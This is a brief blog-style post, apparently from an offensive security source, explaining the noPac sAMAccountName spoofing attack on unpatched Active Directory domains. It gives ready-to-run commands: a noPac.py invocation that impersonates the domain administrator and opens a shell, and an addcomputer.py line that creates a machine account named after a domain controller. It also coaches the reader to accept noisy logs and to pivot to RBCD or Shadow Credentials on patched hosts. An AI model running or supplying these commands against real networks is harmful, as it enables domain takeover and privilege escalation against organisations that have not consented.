sAMAccountName spoofing (noPac) to impersonate a DC

Jul 11, 2026 · 1 min read

When patches for CVE-2021-42278 and 42287 are missing, create or rename a machine account to a DC’s sAMAccountName without the trailing dollar, request a TGT, then reset the name so the KDC maps your ticket to the DC.

bash

noPac.py dom/user:pass -dc-ip 10.0.0.1 -use-ldap 
  -impersonate administrator -shell

Or drive it step by step for control.

bash

addcomputer.py -method LDAPS -computer-name 'DC1' -computer-pass 'x' dom/user:pass
# rename, request TGT, rename back, then S4U

Pro note: this needs MachineAccountQuota above zero or write on an existing computer object. It is loud in ticket logs, so use it decisively. If patched, pivot to RBCD or Shadow Credentials which achieve similar impact from an ACL.